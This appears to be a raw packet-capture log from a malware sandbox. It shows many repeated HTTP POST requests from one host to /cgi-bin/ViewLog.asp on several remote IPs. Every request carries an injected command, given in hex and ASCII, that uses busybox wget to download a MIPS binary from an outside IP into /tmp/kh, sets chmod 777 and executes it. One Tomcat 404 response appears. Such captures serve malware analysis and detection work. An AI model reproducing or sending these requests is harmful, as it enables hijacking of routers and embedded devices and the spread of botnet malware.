Nov 23, 2023 05:16:17.490299940 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:18.470493078 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:18.656970024 CET	1229	IN	HTTP/1.1 404 Not Found Server: Apache-Coyote/1.1 Content-Type: text/html;charset=utf-8 Content-Length: 1012 Date: Thu, 23 Nov 2023 04:16:18 GMT Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 41 70 61 63 68 65 20 54 6f 6d 63 61 74 2f 37 2e 30 2e 32 38 20 2d 20 45 72 72 6f 72 20 72 65 70 6f 72 74 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 3c 21 2d 2d 48 31 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 48 32 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 48 33 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 42 4f 44 59 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 7d 20 42 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 50 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 77 68 69 74 65 3b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 41 20 7b 63 6f 6c 6f 72 20 3a 20 62 6c 61 63 6b 3b 7d 41 2e 6e 61 6d 65 20 7b 63 6f 6c 6f 72 20 3a 20 62 6c 61 63 6b 3b 7d 48 52 20 7b 63 6f 6c 6f 72 20 3a 20 23 35 32 35 44 37 36 3b 7d 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 20 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 2d 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 3c 2f 68 31 3e 3c 48 52 20 73 69 7a 65 3d 22 31 22 20 6e 6f 73 68 61 64 65 3d 22 6e 6f 73 68 61 64 65 22 3e 3c 70 3e 3c 62 3e 74 79 70 65 3c 2f 62 3e 20 53 74 61 74 75 73 20 72 65 70 6f 72 74 3c 2f 70 3e 3c 70 3e 3c 62 3e 6d 65 73 73 61 67 65 3c 2f 62 3e 20 3c 75 3e 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 3c 2f 75 3e 3c 2f 70 3e 3c 70 3e 3c 62 3e 64 65 73 63 72 69 70 74 69 6f 6e 3c 2f 62 3e 20 3c 75 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 28 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 29 20 69 73 20 6e 6f 74 20 61 76 61 69 6c 61 62 6c 65 2e 3c 2f 75 3e 3c 2f 70 3e 3c 48 52 20 73 69 7a 65 3d 22 31 22 20 6e 6f 73 68 61 64 65 3d 22 6e 6f 73 68 61 64 65 22 3e 3c 68 33 3e 41 70 61 63 68 65 20 54 6f 6d 63 61 74 2f 37 2e 30 2e 32 38 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>Apache Tomcat/7.0.28 - Error report</title><style>...H1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} H2 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;} H3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} BODY {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;} B {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;} P {font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:12px;}A {color : black;}A.name {color : black;}HR {color : #525D76;}--></style> </head><body><h1>HTTP Status 404 - /cgi-bin/ViewLog.asp</h1><HR size="1" noshade="noshade"><p><b>type</b> Status report</p><p><b>message</b> <u>/cgi-bin/ViewLog.asp</u></p><p><b>description</b> <u>The requested resource (/cgi-bin/ViewLog.asp) is not available.</u></p><HR size="1" noshade="noshade"><h3>Apache Tomcat/7.0.28</h3></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
254	192.168.2.13	41600	94.122.235.64	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:17.509246111 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
255	192.168.2.13	41120	31.136.115.196	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:17.693085909 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:20.774549007 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:26.918521881 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:38.950535059 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:04.550405979 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:53.702238083 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
256	192.168.2.13	38568	31.136.183.222	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:17.861532927 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:18.438500881 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:19.558767080 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:21.798506975 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:26.406467915 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:35.366492033 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:54.310472965 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:31.174323082 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
257	192.168.2.13	36080	31.136.254.174	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:16:17.863760948 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:18.438488007 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:19.590495110 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:22.054471970 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:26.662509918 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:16:35.878484964 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
